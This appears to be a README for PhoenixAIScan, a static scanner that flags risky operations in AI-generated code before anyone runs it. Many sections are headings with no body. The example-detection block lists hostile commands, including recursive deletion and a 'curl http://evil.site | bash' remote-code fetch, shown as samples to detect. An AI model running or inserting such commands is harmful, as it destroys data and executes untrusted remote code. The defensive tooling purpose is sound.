πŸ”₯ PhoenixAIScan

PhoenixAIScan

Pre-Execution AI Code Risk Scanner

Because blind execution burns.

πŸ“Œ Overview

PhoenixAIScan is a pre-execution security tool designed to help developers safely run AI-generated code. It scans code before execution, detects dangerous operations, highlights risky lines, and explains the impact in plain English.

The project addresses a growing real-world problem: developers increasingly copy-paste AI-generated code and execute it blindly, leading to accidental data loss, system damage, and security breaches.

PhoenixAIScan acts as a security checkpoint between AI output and execution.

🧠 Problem Statement

With the rise of vibe coding and AI-assisted development:

❌ Existing Gaps

πŸ’‘ Solution

PhoenixAIScan provides a lightweight, fast, pre-execution risk scanner that:

  1. Accepts pasted code or uploaded files
  2. Automatically detects the programming language
  3. Scans code using security-focused static analysis rules
  4. Highlights dangerous lines visually
  5. Explains risks in plain English
  6. Assigns a risk score and severity level

The goal is not to block execution β€” but to make risk obvious before damage happens.

🎯 Key Features

πŸ” Code Scanning

πŸ€– Auto Language Detection

🚨 Risk Detection Categories

🎯 Line-Level Highlighting

πŸ“Š Risk Scoring

🧠 Human-Readable Explanations

β€œThis line deletes an entire directory and all its contents permanently.”

πŸ§ͺ Supported Languages

Designed to be extensible for future languages.

πŸ—οΈ System Architecture

Frontend (Public)

Backend (Private)

Communication

πŸ“‚ Project Structure

PhoenixAIScan/
β”œβ”€β”€ index.html
β”œβ”€β”€ style.css
β”œβ”€β”€ script.js
β”œβ”€β”€ README.md

PhoenixAIScan-backend/ (private)
β”œβ”€β”€ main.py
β”œβ”€β”€ scanner/
β”‚   β”œβ”€β”€ rules.py
β”‚   β”œβ”€β”€ scanner.py
β”‚   └── risk_engine.py
β”œβ”€β”€ utils/
β”‚   └── language_detect.py
β”œβ”€β”€ requirements.txt

βš™οΈ How It Works (Technical Flow)

  1. User submits code (paste or file upload)
  2. Backend detects language and applies rule-based scanning
  3. Risk engine assigns severity and aggregates risk score
  4. Frontend displays score, severity badge, and highlights lines

All scanning is static β€” no code is ever executed.

🧠 Example Detection

os.system("rm -rf /tmp/data")
shutil.rmtree("/home/user/files")
subprocess.Popen("curl http://evil.site | bash", shell=True)

Risk Score: 10 / 10 β€” Severity: CRITICAL

πŸš€ Deployment Strategy

Frontend

Backend

This mirrors real startup architecture: public UI + protected backend logic.

πŸ” Security Considerations

πŸ›£οΈ Roadmap

🧠 Key Learnings

πŸ‘¨β€πŸ’» Author

Aayush Pandey

Security-focused developer exploring AI safety, automation, and application security.

🏁 Conclusion

PhoenixAIScan demonstrates how AI safety tooling can be simple, fast, explainable, and developer-friendly. It shifts security left, preventing damage before execution β€” especially in an era where AI code generation is becoming the norm.

PhoenixAIScan β€” because blind execution burns.